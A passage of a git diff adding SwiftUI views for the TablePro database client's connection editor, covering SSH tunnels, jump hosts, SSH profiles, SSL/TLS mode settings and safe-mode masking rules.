== .onServer { + lines.append(String(localized: "The SSH server needs python3.")) + } + return lines.joined(separator: "\n") + case "sshAuthentication": + return sshAuthenticationFooter(draft.ssh) + case "sshTwoFactor": + guard draft.ssh.totpMode != .autoGenerate else { return nil } + return String(localized: "If the SSH server asks for a verification code, TablePro prompts you for it when you connect.") + case "forwardTo": + return forwardToFooter + case "cloudflareAuthentication": + switch draft.cloudflare.authMethod { + case .browserSSO: + return String(localized: "Signs in to Cloudflare Access once and caches the token, so connecting doesn't open a browser.") + case .serviceToken: + return String( + localized: "The Access application policy must use a Service Auth rule, or Cloudflare still prompts for browser sign-in." + ) + } + case "cloudflareListener": + return draft.cloudflare.exposeToLAN + ? String(localized: "Listens on all interfaces (0.0.0.0), reachable from your local network.") + : String(localized: "Listens only on 127.0.0.1.") + case "cloudSQLInstance": + return String(localized: "Find this on the instance's overview page in the Google Cloud console.") + case "cloudSQLAuthentication": + return cloudSQLAuthenticationFooter(draft.cloudSQLProxy) + case "cloudSQLListener": + return String(localized: "Listens only on 127.0.0.1.") + case "socksCredentials": + return String(localized: "Leave blank to connect without authentication. The password is stored in the macOS Keychain.") + case "tunnelMethod": + return tunnelMethodFooter(draft.tunnelCommand.config.method) + case "tunnelKubernetes": + return String(localized: "The port comes from this connection's own port, forwarded from the resource you name here.") + case "tunnelAWS": + return String( + localized: "The session forwards to this connection's host and port from the target instance, so the target is the bastion rather than the database." + ) + case "tunnelCustom": + return String( + format: String(localized: """ + %1$@ is the local port, %2$@ and %3$@ are this connection's host and port. \ + The command runs directly rather than through a shell, so start it with \ + /usr/bin/env if you need environment variables. + """), + TunnelCommandLine.localPortPlaceholder, + TunnelCommandLine.hostPlaceholder, + TunnelCommandLine.remotePortPlaceholder + ) + default: + return nil + } + } + + private func sshAuthenticationFooter(_ ssh: SSHDraft) -> String? { + switch ssh.authMethod { + case .sshAgent: + return String(localized: """ + Offers the agent key matching this public key file first. With IdentitiesOnly yes \ + in ~/.ssh/config, only that key is offered. + """) + case .privateKey: + guard ssh.privateKeyPath.isEmpty else { return nil } + return String(localized: "Auto-detects from ~/.ssh/config and default key locations.") + case .keyboardInteractive: + return String(localized: "Password is sent via keyboard-interactive challenge-response.") + case .password, .none: + return nil + } + } + + private var forwardToFooter: String { + switch store.sshForwardSocketPathAdvice { + case .notAbsolute: + return String(localized: "Enter an absolute path, as it appears on the SSH server.") + case .looksLikeDirectory: + return String(localized: "Point at the socket file itself, not the directory holding it.") + case .none: + guard store.hostAndPortAreUnused else { + return String(localized: "Optional. Set this to reach a database that only listens on a Unix socket.") + } + return String(localized: """ + The SSH server connects to this socket instead of Host and Port. \ + A database on a socket cannot negotiate TLS, so TablePro turns it off; \ + the SSH tunnel still encrypts the whole path. + """) + } + } + + private func cloudSQLAuthenticationFooter(_ proxy: CloudSQLProxyDraft) -> String? { + var sentences: [String] = [] + if proxy.authMode == .applicationDefault { + sentences.append(String( + localized: "Signs in with this Mac's Application Default Credentials, from “gcloud auth application-default login” or GOOGLE_APPLICATION_CREDENTIALS." + )) + } + if proxy.useIAMAuth { + sentences.append(String( + localized: "With IAM, the username in General is the IAM principal, such as a user email or name@project.iam, and no password is sent." + )) + } + return sentences.isEmpty ? nil : sentences.joined(separator: " ") + } + + private func tunnelMethodFooter(_ method: TunnelCommandMethod) -> String { + switch method { + case .kubectl: + return String(localized: "Forwards a port from a Kubernetes resource with kubectl port-forward.") + case .awsSSM: + return String(localized: "Opens an AWS Systems Manager port forwarding session through a target instance.") + case .custom: + return String(localized: "Runs a command you write. It must open the local port itself.") + } + } +} + +private struct SSHAndProxiesRowView: View { + let row: EditorRow + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + if case .builtIn(let builtIn) = row { + switch builtIn { + case .transport: + SSHAndProxiesTransportPicker(store: store) + case .sshForwardSocketPath: + EditorTextRow( + String(localized: "Socket Path"), + text: store.binding(\.sshForwardUnixSocketPath), + prompt: store.traits.defaultUnixSocketPath ?? "/path/to/database.sock", + row: row, + store: store + ) + case .remoteFilePath, .remoteFileAccess: + SSHAndProxiesRemoteFileRow(row: builtIn, store: store) + case .sshProfile: + SSHAndProxiesProfileRows(store: store) + case .sshProfileMissing, .sshConfigHost, .sshHost, .sshPort, .sshUsername, .sshAuthMethod, .sshPassword, + .sshAgentSocket, .sshIdentityFile, .sshKeyFile, .sshKeyPassphrase, .sshNoAuthenticationNote, + .sshTOTPMode, .sshTOTPSecret, .sshTOTPAlgorithm, .sshTOTPDigits, .sshTOTPPeriod: + SSHAndProxiesSSHRow(row: builtIn, store: store) + case .cloudflareHostname, .cloudflareAuthMethod, .cloudflareSignIn, .cloudflareTokenId, .cloudflareTokenSecret, + .cloudflareAutomaticPort, .cloudflareLocalPort, .cloudflareExposeToLAN, .cloudflareBinary: + TransportCloudflareRow(row: builtIn, store: store) + case .cloudSQLInstance, .cloudSQLAuthMode, .cloudSQLServiceAccountKey, .cloudSQLIAMAuth, .cloudSQLPrivateIP, + .cloudSQLAutomaticPort, .cloudSQLLocalPort, .cloudSQLBinary: + TransportCloudSQLRow(row: builtIn, store: store) + case .socksHost, .socksPort, .socksUsername, .socksPassword: + TransportSOCKSRow(row: builtIn, store: store) + case .tunnelCommandMethod, .kubernetesResource, .kubernetesNamespace, .kubernetesContext, .awsTarget, + .awsProfile, .awsRegion, .tunnelCommand, .tunnelCommandExecutable, .tunnelCommandPreview: + TransportCommandRow(row: builtIn, store: store) + default: + EmptyView() + } + } + } +} + +private struct SSHAndProxiesTransportPicker: View { + @ObservedObject var store: ConnectionEditorStore + + private let row = EditorRow.builtIn(.transport) + + var body: some View { + let isLocation = store.transportIsLocationChoice + Picker(selection: store.tracking(store.transportBinding, row: row)) { + ForEach(store.availableTransports, id: \.self) { transport in + Text(Self.title(of: transport, asLocation: isLocation)).tag(transport) + } + } label: { + EditorRowLabel( + isLocation ? String(localized: "Location") : String(localized: "Connect Via"), + row: row, + store: store, + subtitle: store.tunnelHostListAdvice + ) + } + .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) + } + + private static func title(of transport: ConnectionTunnelKind?, asLocation: Bool) -> String { + guard asLocation else { return transport?.displayName ?? ConnectionTunnelKind.directDisplayName } + switch transport { + case nil: return String(localized: "This Mac") + case .remoteFile?: return String(localized: "Remote Server over SSH") + case let other?: return other.displayName + } + } +} + +private struct SSHAndProxiesRemoteFileRow: View { + let row: BuiltInRow + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + switch row { + case .remoteFilePath: + EditorTextRow( + String(localized: "Path"), + text: store.binding(\.ssh.remoteFilePath), + prompt: "~/database.\(store.traits.fileExtensions.first ?? "db")", + row: .builtIn(row), + store: store + ) + case .remoteFileAccess: + Picker(selection: store.tracking(store.binding(\.ssh.remoteFileAccess), row: .builtIn(row))) { + Text(String(localized: "On the Server")).tag(RemoteFileAccess.onServer) + Text(String(localized: "As a Read-Only Copy")).tag(RemoteFileAccess.readOnlyCopy) + } label: { + EditorRowLabel(String(localized: "Open"), row: .builtIn(row), store: store) + } + .accessibilityIdentifier(EditorRow.builtIn(row).accessibilityIdentifier) + .editorRowFocus(.builtIn(row), store: store) + default: + EmptyView() + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift new file mode 100644 index 0000000000..d2494b0419 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift @@ -0,0 +1,206 @@ +// +// SSHAndProxiesJumpHostRows.swift +// TablePro +// + +import SwiftUI +import TableProSSHConfig + +// What jump hosts are leads, then one card per hop, so two hops never read as one card. +struct SSHAndProxiesJumpHostSections: View { + let rows: [EditorRow] + @ObservedObject var store: ConnectionEditorStore + + private var hopIDs: [UUID] { + rows.compactMap { row in + guard case .builtIn(.jumpHost(let id)) = row else { return nil } + return id + } + } + + var body: some View { + let ids = hopIDs + if rows.contains(.builtIn(.addJumpHost)) { + Section { + SSHAndProxiesAddJumpHostRow(hopCount: ids.count, store: store) + } header: { + Text(String(localized: "Jump Hosts")) + } footer: { + Text(String(localized: """ + TablePro connects through the jump hosts in order, then the SSH server. \ + A jump host signs in with a key file or the SSH agent. + """)) + } + } + ForEach(Array(ids.enumerated()), id: \.element) { index, id in + SSHAndProxiesJumpHostSection(id: id, index: index, count: ids.count, store: store) + } + } +} + +private struct SSHAndProxiesJumpHostSection: View { + let id: UUID + let index: Int + let count: Int + @ObservedObject var store: ConnectionEditorStore + + @FocusState private var focusedField: JumpHostField? + + private var row: EditorRow { .builtIn(.jumpHost(id)) } + private var identifier: String { row.accessibilityIdentifier } + private var jumpHost: Binding { store.tracking(store.jumpHostBinding(id), row: row) } + + private var title: String { + String(format: String(localized: "Jump Host %lld"), Int64(index + 1)) + } + + var body: some View { + Section { + LabeledContent { + actions + } label: { + Text(verbatim: title) + } + .id(row) + + TextField(text: jumpHost.host, prompt: Text(verbatim: "bastion.example.com")) { + label(String(localized: "Host"), for: .host) + } + .autocorrectionDisabled() + .focused($focusedField, equals: .host) + .accessibilityIdentifier(identifier) + .onEditorFocusRequest(row, store: store, perform: focusMissingField) + + TextField(text: portText, prompt: Text(verbatim: "22")) { + label(String(localized: "Port"), for: .port) + } + .focused($focusedField, equals: .port) + .accessibilityIdentifier("\(identifier)-port") + + TextField(text: jumpHost.username, prompt: Text(verbatim: "admin")) { + Text(String(localized: "Username")) + } + .autocorrectionDisabled() + .accessibilityIdentifier("\(identifier)-username") + + Picker(selection: jumpHost.authMethod) { + ForEach(SSHJumpAuthMethod.allCases) { method in + Text(method.displayName).tag(method) + } + } label: { + Text(String(localized: "Method")) + } + .accessibilityIdentifier("\(identifier)-auth") + + if jumpHost.wrappedValue.authMethod == .privateKey { + keyFileRow + } + } + } + + private var actions: some View { + Menu { + Button(String(localized: "Move Up")) { + store.moveJumpHosts(fromOffsets: IndexSet(integer: index), toOffset: index - 1) + } + .disabled(index == 0) + .accessibilityIdentifier("\(identifier)-move-up") + + Button(String(localized: "Move Down")) { + store.moveJumpHosts(fromOffsets: IndexSet(integer: index), toOffset: index + 2) + } + .disabled(index == count - 1) + .accessibilityIdentifier("\(identifier)-move-down") + + Divider() + + Button(String(localized: "Remove"), role: .destructive) { + store.removeJumpHost(id: id) + } + .accessibilityIdentifier("\(identifier)-remove") + } label: { + Image(systemName: "ellipsis.circle") + } + .menuStyle(.borderlessButton) + .menuIndicator(.hidden) + .fixedSize() + .help(String(localized: "Actions")) + .accessibilityLabel(String(format: String(localized: "Actions for %@"), title)) + .accessibilityIdentifier("\(identifier)-actions") + } + + private var keyFileRow: some View { + LabeledContent { + HStack(spacing: 8) { + TextField( + String(localized: "Key File"), + text: jumpHost.privateKeyPath, + prompt: Text(verbatim: "~/.ssh/id_ed25519") + ) + .labelsHidden() + .autocorrectionDisabled() + .editorPathField(jumpHost.wrappedValue.privateKeyPath) + .focused($focusedField, equals: .keyFile) + .accessibilityIdentifier("\(identifier)-key-file") + Button(String(localized: "Choose…")) { + Task { + let message = String(localized: "Choose a private key file") + if let path = await TransportFilePanel.chooseSSHKey(message: message, store: store) { + jumpHost.wrappedValue.privateKeyPath = path + } + } + } + .accessibilityIdentifier("\(identifier)-key-file-choose") + } + } label: { + label(String(localized: "Key File"), for: .keyFile) + } + } + + // The hop's one issue sits under the field it is about. + @ViewBuilder + private func label(_ title: String, for field: JumpHostField) -> some View { + Text(verbatim: title) + if let issue = store.revealedIssue(for: row), (store.missingJumpHostField(id) ?? .host) == field { + NoticeLabel(issue.message, severity: issue.noticeSeverity) + } + } + + // Digits only, so a stray letter never wipes the port the field shows. + private var portText: Binding { + Binding( + get: { jumpHost.wrappedValue.port.map(String.init) ?? "" }, + set: { text in + let digits = String(text.filter { ("0"..."9").contains($0) }.prefix(5)) + jumpHost.wrappedValue.port = Int(digits) + } + ) + } + + private func focusMissingField() { + focusedField = store.missingJumpHostField(id) ?? .host + } +} + +struct SSHAndProxiesAddJumpHostRow: View { + let hopCount: Int + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + LabeledContent { + Button(String(localized: "Add Jump Host")) { + let id = store.addJumpHost() + store.focus(facet: .sshAndProxies, row: .builtIn(.jumpHost(id))) + } + .accessibilityIdentifier(EditorRow.builtIn(.addJumpHost).accessibilityIdentifier) + } label: { + if hopCount == 0 { + Text(String(localized: "No Jump Hosts")) + .foregroundStyle(.secondary) + } else { + Text("^[\(hopCount) Jump Host](inflect: true)") + } + } + .id(EditorRow.builtIn(.addJumpHost)) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift new file mode 100644 index 0000000000..e5a489a051 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift @@ -0,0 +1,325 @@ +// +// SSHAndProxiesSSHRows.swift +// TablePro +// + +import SwiftUI +import TableProSSHConfig +import TableProSSHTransport + +struct SSHAndProxiesSSHRow: View { + let row: BuiltInRow + @ObservedObject var store: ConnectionEditorStore + + private var editorRow: EditorRow { .builtIn(row) } + + var body: some View { + switch row { + case .sshProfileMissing: + SSHAndProxiesMissingProfileRow(store: store) + case .sshConfigHost: + SSHAndProxiesPicker(String(localized: "Config Host"), selection: store.sshConfigHostBinding, row: editorRow, store: store) { + Text(String(localized: "Manual")).tag("") + ForEach(store.context.sshConfigEntries) { entry in + Text(verbatim: entry.displayName).tag(entry.host) + } + } + case .sshHost: + EditorTextRow( + String(localized: "Host"), + text: store.binding(\.ssh.host), + prompt: "ssh.example.com", + row: editorRow, + store: store + ) + case .sshPort: + EditorTextRow(String(localized: "Port"), text: store.binding(\.ssh.port), prompt: "22", row: editorRow, store: store) + case .sshUsername: + EditorTextRow( + String(localized: "Username"), + text: store.binding(\.ssh.username), + prompt: "admin", + row: editorRow, + store: store + ) + case .sshAuthMethod: + SSHAndProxiesPicker(String(localized: "Method"), selection: store.binding(\.ssh.authMethod), row: editorRow, store: store) { + ForEach(SSHAuthMethod.allCases) { method in + Text(method.displayName).tag(method) + } + } + case .sshPassword: + EditorRevealableSecureRow( + String(localized: "Password"), + text: store.binding(\.ssh.password), + kind: .password, + requiresAuthentication: store.draft.ssh.savedSecrets.contains(.password), + row: editorRow, + store: store + ) + case .sshAgentSocket: + agentSocketRows + case .sshIdentityFile: + EditorPathRow( + String(localized: "Identity File"), + path: store.binding(\.ssh.privateKeyPath), + prompt: "~/.ssh/id_ed25519.pub", + row: editorRow, + store: store + ) { + await TransportFilePanel.chooseSSHKey(message: String(localized: "Choose a public key file"), store: store) + } + case .sshKeyFile: + EditorPathRow( + String(localized: "Key File"), + path: store.binding(\.ssh.privateKeyPath), + prompt: "~/.ssh/id_ed25519", + row: editorRow, + store: store + ) { + await TransportFilePanel.chooseSSHKey(message: String(localized: "Choose a private key file"), store: store) + } + case .sshKeyPassphrase: + EditorRevealableSecureRow( + String(localized: "Passphrase"), + text: store.binding(\.ssh.keyPassphrase), + kind: .passphrase, + requiresAuthentication: store.draft.ssh.savedSecrets.contains(.keyPassphrase), + prompt: String(localized: "Required only for an encrypted key"), + row: editorRow, + store: store + ) + case .sshNoAuthenticationNote: + Text(String( + localized: "No credentials are sent. Use this when the server handles authentication itself, such as a Tailscale SSH host." + )) + .foregroundStyle(.secondary) + .accessibilityIdentifier(editorRow.accessibilityIdentifier) + case .sshTOTPMode: + SSHAndProxiesPicker(String(localized: "TOTP"), selection: store.binding(\.ssh.totpMode), row: editorRow, store: store) { + ForEach(TOTPMode.allCases) { mode in + Text(mode.displayName).tag(mode) + } + } + case .sshTOTPSecret: + EditorRevealableSecureRow( + String(localized: "TOTP Secret"), + text: store.binding(\.ssh.totpSecret), + kind: .secret, + requiresAuthentication: store.draft.ssh.savedSecrets.contains(.totpSecret), + subtitle: String(localized: "Base32-encoded secret from your authenticator setup"), + row: editorRow, + store: store + ) + case .sshTOTPAlgorithm: + SSHAndProxiesPicker(String(localized: "Algorithm"), selection: store.binding(\.ssh.totpAlgorithm), row: editorRow, store: store) { + ForEach(TOTPAlgorithm.allCases) { algorithm in + Text(verbatim: algorithm.rawValue).tag(algorithm) + } + } + case .sshTOTPDigits: + SSHAndProxiesPicker(String(localized: "Digits"), selection: store.binding(\.ssh.totpDigits), row: editorRow, store: store) { + SettingsChoiceItems([6, 8], including: store.draft.ssh.totpDigits) { digits in + Text(verbatim: SettingsFormat.identifier(digits)) + } + } + case .sshTOTPPeriod: + SSHAndProxiesPicker(String(localized: "Period"), selection: store.binding(\.ssh.totpPeriod), row: editorRow, store: store) { + SettingsChoiceItems([30, 60], including: store.draft.ssh.totpPeriod) { seconds in + Text(verbatim: SettingsFormat.duration(seconds: seconds)) + } + } + default: + EmptyView() + } + } + + @ViewBuilder + private var agentSocketRows: some View { + let option = store.draft.ssh.agentSocketOption + SSHAndProxiesPicker( + String(localized: "Agent Socket"), + selection: store.binding(\.ssh.agentSocketOption), + row: editorRow, + store: store, + subtitle: option.explanation + ) { + ForEach(SSHAgentSocketOption.allCases) { option in + Text(option.displayName).tag(option) + } + } + if option == .custom { + TextField( + String(localized: "Path"), + text: store.tracking(store.binding(\.ssh.customAgentSocketPath), row: editorRow), + prompt: Text(verbatim: "/path/to/agent.sock") + ) + .autocorrectionDisabled() + .accessibilityIdentifier("\(editorRow.accessibilityIdentifier)-path") + } + } +} + +struct SSHAndProxiesPicker: View { + private let title: String + @Binding private var selection: Value + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + private let subtitle: String? + private let content: Content + + init( + _ title: String, + selection: Binding, + row: EditorRow, + store: ConnectionEditorStore, + subtitle: String? = nil, + @ViewBuilder content: () -> Content + ) { + self.title = title + _selection = selection + self.row = row + self.store = store + self.subtitle = subtitle + self.content = content() + } + + var body: some View { + Picker(selection: store.tracking($selection, row: row)) { + content + } label: { + EditorRowLabel(title, row: row, store: store, subtitle: subtitle) + } + .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) + } +} + +// Profile commands are pop-up items, the same ones in the same order as General's Credentials, so typing a host +// never adds a button. +struct SSHAndProxiesProfileRows: View { + @ObservedObject var store: ConnectionEditorStore + + @State private var pickerGeneration = 0 + + private enum Choice: Hashable { + case profile(UUID?) + case saveAsProfile + case editProfile + case newProfile + case manageProfiles + } + + private let row = EditorRow.builtIn(.sshProfile) + + var body: some View { + Picker(selection: choice) { + Text(String(localized: "Inline Configuration")).tag(Choice.profile(nil)) + // A selection with no matching item reads as nothing chosen, so a profile this Mac lacks gets one. + if store.sshProfileIsUnresolved, let missingId = store.draft.ssh.profileId { + Text(String(localized: "Missing Profile")).tag(Choice.profile(missingId)) + } + if !store.context.sshProfiles.isEmpty { + Divider() + ForEach(store.context.sshProfiles) { profile in + Text(verbatim: "\(profile.name) (\(profile.address))").tag(Choice.profile(profile.id)) + } + } + Divider() + if store.canSaveSSHAsProfile { + Text(String(localized: "Save These as a Profile…")).tag(Choice.saveAsProfile) + } + if store.selectedSSHProfile != nil { + Text(String(localized: "Edit Profile…")).tag(Choice.editProfile) + } + Text(String(localized: "New Profile…")).tag(Choice.newProfile) + Text(String(localized: "Manage Profiles…")).tag(Choice.manageProfiles) + } label: { + EditorRowLabel(String(localized: "SSH Profile"), row: row, store: store) + } + .id(pickerGeneration) + .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) + + if let profile = store.selectedSSHProfile { + LabeledContent(String(localized: "Server")) { + Text(verbatim: Self.endpoint(of: profile)) + .textSelection(.enabled) + } + LabeledContent(String(localized: "Authentication")) { + Text(profile.authMethod.displayName) + } + if !profile.privateKeyPath.isEmpty { + LabeledContent(profile.authMethod == .sshAgent ? String(localized: "Identity File") : String(localized: "Key File")) { + Text(verbatim: profile.privateKeyPath) + .lineLimit(1) + .truncationMode(.middle) + .help(profile.privateKeyPath) + } + } + if !profile.jumpHosts.isEmpty { + LabeledContent(String(localized: "Jump Hosts")) { + Text(profile.jumpHosts.count, format: .number) + } + } + } + } + + // A command item leaves the selection where it was; the new identity redraws the pop-up on it. + private var choice: Binding { + Binding( + get: { .profile(store.draft.ssh.profileId) }, + set: { newValue in + switch newValue { + case .profile(let id): + guard id != store.draft.ssh.profileId else { return } + store.noteEdited(row) + store.selectSSHProfile(id) + case .saveAsProfile: + pickerGeneration += 1 + store.presentSaveSSHAsProfile() + case .editProfile: + pickerGeneration += 1 + store.presentSSHProfileEditing() + case .newProfile: + pickerGeneration += 1 + store.presentSSHProfileCreation() + case .manageProfiles: + pickerGeneration += 1 + WindowOpener.shared.openSettings(tab: .profiles) + } + } + ) + } + + private static func endpoint(of profile: SSHProfile) -> String { + let user = profile.username.trimmingCharacters(in: .whitespaces) + let hostAndPort = "\(profile.host):\(profile.port ?? 22)" + return user.isEmpty ? hostAndPort : "\(user)@\(hostAndPort)" + } +} + +private struct SSHAndProxiesMissingProfileRow: View { + @ObservedObject var store: ConnectionEditorStore + + private let row = EditorRow.builtIn(.sshProfileMissing) + + // Shown at once, unlike an edit issue: the link points nowhere until it is replaced or the profile returns. + private var message: String { + store.context.sshProfilesLoadFailed + ? String(localized: "TablePro could not read the SSH profiles on this Mac.") + : String(localized: "The SSH profile this connection uses isn't on this Mac.") + } + + var body: some View { + LabeledContent { + Button(String(localized: "Switch to Inline Configuration")) { + store.switchSSHProfileToInline() + } + .accessibilityIdentifier(row.accessibilityIdentifier) + } label: { + NoticeLabel(message, severity: .warning) + } + .editorRowFocus(row, store: store) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSLFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSLFacetView.swift new file mode 100644 index 0000000000..71dcb7b51f --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSLFacetView.swift @@ -0,0 +1,192 @@ +// +// SSLFacetView.swift +// TablePro +// + +import SwiftUI +import TableProPluginKit + +struct SSLFacetView: View { + @ObservedObject var store: ConnectionEditorStore + + init(store: ConnectionEditorStore) { + self.store = store + } + + var body: some View { + Form { + if let facet = store.layout.facet(.sslTLS) { + ForEach(facet.sections) { section in + Section { + ForEach(section.rows, id: \.self) { row in + rowView(row) + .id(row) + } + } header: { + if let title = section.title { + Text(verbatim: title) + } + } footer: { + if let footer = footer(for: section) { + Text(verbatim: footer) + } + } + } + } + } + .formStyle(.grouped) + .scrollsToEditorFocus(.sslTLS, store: store) + } + + // The mode section explains the mode that is selected, not the type's note about Preferred under every mode. + private func footer(for section: SectionLayout) -> String? { + guard section.id == "sslMode" else { return section.footer } + return SSLModeFooter.text( + mode: store.draft.ssl.mode, + traits: store.traits.ssl, + usesLocalSocket: store.usesLocalSocket + ) + } + + @ViewBuilder + private func rowView(_ row: EditorRow) -> some View { + switch row { + case .builtIn(.sslMode): + SSLModeRow(store: store) + case .builtIn(.sslNoFallbackNotice): + SSLNoFallbackNotice(store: store) + case .builtIn(.sslCertificateTrustNote): + NoticeLabel( + String(localized: """ + Verify CA and Verify Identity check the server certificate against the system trust \ + store. This driver takes no custom CA or client certificate. + """), + severity: .info + ) + .accessibilityElement(children: .combine) + .accessibilityIdentifier(BuiltInRow.sslCertificateTrustNote.accessibilityIdentifier) + case .builtIn(.sslCACertificate): + certificateRow( + String(localized: "Certificate"), + keyPath: \.ssl.caCertPath, + prompt: caCertificateIsOptional ? String(localized: "Optional") : "/path/to/ca-cert.pem", + row: .sslCACertificate + ) + case .builtIn(.sslClientCertificate): + certificateRow( + String(localized: "Certificate"), + keyPath: \.ssl.clientCertPath, + prompt: String(localized: "Optional"), + row: .sslClientCertificate + ) + case .builtIn(.sslClientKey): + certificateRow( + String(localized: "Key"), + keyPath: \.ssl.clientKeyPath, + prompt: String(localized: "Optional"), + row: .sslClientKey + ) + case .builtIn(.sslClientKeyPassphrase): + EditorSecureRow( + String(localized: "Key Passphrase"), + text: store.binding(\.ssl.clientKeyPassphrase), + prompt: String(localized: "Required only for an encrypted key"), + row: .builtIn(.sslClientKeyPassphrase), + store: store + ) + case .plugin(let fieldID): + PluginFieldRow(fieldID: fieldID, store: store) + default: + EmptyView() + } + } + + private var caCertificateIsOptional: Bool { + !store.traits.ssl.requiresCACertificate(for: store.draft.ssl.mode) + } + + private func certificateRow( + _ title: String, + keyPath: WritableKeyPath, + prompt: String, + row: BuiltInRow + ) -> some View { + let path = store.binding(keyPath) + return EditorPathRow(title, path: path, prompt: prompt, row: .builtIn(row), store: store) { + await EditorFilePanel.chooseFile( + in: EditorFilePanel.window(for: store), + message: String(localized: "Choose a certificate or key file"), + showsHiddenFiles: true, + currentPath: path.wrappedValue + ) + } + } +} + +// A mode the driver refuses here stays in the menu, dimmed, so the pop-up never reads blank; its issue says why. +struct SSLModeRow: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + let offered = store.offeredSSLModes + let current = store.draft.ssl.mode + Picker(selection: store.tracking(store.sslModeBinding, row: .builtIn(.sslMode))) { + ForEach(offered) { mode in + Text(verbatim: mode.displayLabel).tag(mode) + } + if !offered.contains(current) { + Divider() + Text(verbatim: current.displayLabel) + .tag(current) + .disabled(true) + } + } label: { + EditorRowLabel(String(localized: "SSL Mode"), row: .builtIn(.sslMode), store: store) + } + .accessibilityIdentifier(BuiltInRow.sslMode.accessibilityIdentifier) + .editorRowFocus(.builtIn(.sslMode), store: store) + } +} + +struct SSLNoFallbackNotice: View { + @ObservedObject var store: ConnectionEditorStore + + // Oracle's driver drops to plain TCP on Preferred where the others force TLS. + private var connectsInPlain: Bool { store.draft.type == .oracle } + + var body: some View { + NoticeLabel( + connectsInPlain + ? String(localized: "Preferred connects in plain TCP for this driver. Use Required to enforce TCPS.") + : String(localized: "This driver has no TLS fallback. Preferred forces TLS, same as Required."), + severity: connectsInPlain ? .error : .warning + ) + .accessibilityElement(children: .combine) + .accessibilityIdentifier(BuiltInRow.sslNoFallbackNotice.accessibilityIdentifier) + } +} + +enum SSLModeFooter { + static func text(mode: SSLMode, traits: ConnectionTypeTraits.SSLTraits, usesLocalSocket: Bool) -> String? { + switch mode { + case .disabled: + return String(localized: "The connection is not encrypted.") + case .preferred: + // Without a fallback the notice above already says what Preferred does, and the type's note repeats it. + guard traits.supportsOpportunisticTLS else { return nil } + var lines = [traits.note.isEmpty + ? String(localized: "Encrypts the connection when the server offers TLS, and connects without it otherwise.") + : traits.note] + if usesLocalSocket { + lines.append(String(localized: "Preferred leaves a socket connection unencrypted. Required encrypts it.")) + } + return lines.joined(separator: "\n") + case .required: + return String(localized: "Encrypts the connection without checking the server certificate.") + case .verifyCa: + return String(localized: "Encrypts the connection and checks that a trusted certificate authority signed the server certificate.") + case .verifyIdentity: + return String(localized: "Encrypts the connection and checks the server certificate and that it names the host.") + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift new file mode 100644 index 0000000000..8c607f4920 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift @@ -0,0 +1,170 @@ +import SwiftUI + +struct SafeModeFacetView: View { + @ObservedObject var store: ConnectionEditorStore + + @FocusState private var focusedRule: UUID? + + var body: some View { + Form { + ForEach(sections) { section in + Section { + ForEach(section.rows, id: \.self) { row in + rowView(row) + .id(row) + } + } header: { + if let title = section.title { + Text(verbatim: title) + } + } footer: { + if let footer = section.footer { + Text(verbatim: footer) + } + } + } + } + .formStyle(.grouped) + .scrollsToEditorFocus(.safeMode, store: store) + } + + private var sections: [SectionLayout] { + store.layout.facet(.safeMode)?.sections ?? [] + } + + @ViewBuilder + private func rowView(_ row: EditorRow) -> some View { + switch row { + case .builtIn(.safeModeLevel): + safeModeLevelRow(row) + case .builtIn(.manualCommit): + Toggle(isOn: store.tracking(store.manualCommitBinding, row: row)) { + EditorRowLabel(String(localized: "Manual Commit"), row: row, store: store) + } + .disabled(!store.traits.manualCommitAvailable) + .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) + case .builtIn(.maskingRules): + maskingRuleRows + case .plugin(let fieldID): + PluginFieldRow(fieldID: fieldID, store: store) + default: + EmptyView() + } + } + + // A floor that allows one level leaves nothing to pick; the section footer says why. + @ViewBuilder + private func safeModeLevelRow(_ row: EditorRow) -> some View { + let levels = store.allowedSafeModeLevels + if levels.count == 1 { + LabeledContent { + Text(verbatim: store.effectiveSafeModeLevel.displayName) + .accessibilityIdentifier(row.accessibilityIdentifier) + } label: { + EditorRowLabel(String(localized: "Safe Mode"), row: row, store: store) + } + .editorRowFocus(row, store: store) + } else { + Picker(selection: store.tracking(store.safeModeLevelBinding, row: row)) { + ForEach(levels) { level in + Text(verbatim: level.displayName).tag(level) + } + } label: { + EditorRowLabel(String(localized: "Safe Mode"), row: row, store: store) + } + .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) + } + } + + @ViewBuilder + private var maskingRuleRows: some View { + let rules = store.draft.safety.maskingRules + ForEach(rules) { rule in + SafeModeMaskingRuleRow( + rule: store.tracking(store.maskingRuleBinding(rule.id), row: .builtIn(.maskingRules)), + focusedRule: $focusedRule, + onRemove: { + store.noteEdited(.builtIn(.maskingRules)) + store.removeMaskingRule(id: rule.id) + } + ) + } + LabeledContent { + Button(String(localized: "Add Rule")) { + store.noteEdited(.builtIn(.maskingRules)) + let id = store.addMaskingRule() + // The new row is not in the form until the next update. + DispatchQueue.main.async { focusedRule = id } + } + .accessibilityIdentifier("connection-form-add-masking-rule") + } label: { + if rules.isEmpty { + Text(String(localized: "No Masking Rules")) + .foregroundStyle(.secondary) + } else { + 